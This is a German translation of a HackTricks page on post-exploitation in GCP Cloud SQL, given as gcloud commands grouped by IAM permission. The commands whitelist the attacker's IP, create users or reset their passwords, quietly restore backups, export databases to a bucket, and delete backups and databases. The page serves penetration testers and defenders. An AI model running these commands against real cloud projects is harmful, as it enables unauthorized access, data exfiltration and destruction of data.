GCP - Cloud SQL Post Exploitation

Reading time: 4 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Cloud SQL

Für weitere Informationen zu Cloud SQL siehe:

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

Um eine Verbindung zu den Datenbanken herzustellen, benötigen Sie nur Zugriff auf den Datenbankport und müssen den Benutzernamen und das Passwort kennen, es gibt keine IAM-Anforderungen. Eine einfache Möglichkeit, Zugriff zu erhalten, vorausgesetzt, die Datenbank hat eine öffentliche IP-Adresse, besteht darin, die erlaubten Netzwerke zu aktualisieren und Ihre eigene IP-Adresse den Zugriff zu erlauben.

bash
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

Es ist auch möglich, --no-backup zu verwenden, um die Backups der Datenbank zu stören.

Da dies die Anforderungen sind, bin ich mir nicht ganz sicher, wofür die Berechtigungen cloudsql.instances.connect und cloudsql.instances.login gedacht sind. Wenn du es weißt, sende einen PR!

cloudsql.users.list

Erhalte eine Liste aller Benutzer der Datenbank:

bash
gcloud sql users list --instance <intance-name>

cloudsql.users.create

Diese Berechtigung erlaubt es, einen neuen Benutzer innerhalb der Datenbank zu erstellen:

bash
gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

Diese Berechtigung erlaubt es, Benutzer innerhalb der Datenbank zu aktualisieren. Zum Beispiel könnten Sie das Passwort ändern:

bash
gcloud sql users set-password <username> --instance <instance-name> --password <password>

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Backups könnten alte sensible Informationen enthalten, daher ist es interessant, sie zu überprüfen.
Stellen Sie ein Backup in einer Datenbank wieder:

bash
gcloud sql backups restore <backup-id> --restore-instance <instance-id>

Um es auf eine stealthy Weise zu tun, wird empfohlen, eine neue SQL-Instanz zu erstellen und die Daten dort wiederherzustellen, anstatt in den derzeit laufenden Datenbanken.

cloudsql.backupRuns.delete

Diese Berechtigung erlaubt das Löschen von Backups:

bash
gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

Exportieren Sie eine Datenbank in einen Cloud Storage Bucket, damit Sie von dort darauf zugreifen können:

bash
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>

cloudsql.instances.import, storage.objects.get

Importieren Sie eine Datenbank (überschreiben) aus einem Cloud Storage Bucket:

bash
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

Löschen Sie eine Datenbank aus der DB-Instanz:

bash
gcloud sql databases delete <db-name> --instance <instance-id>

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks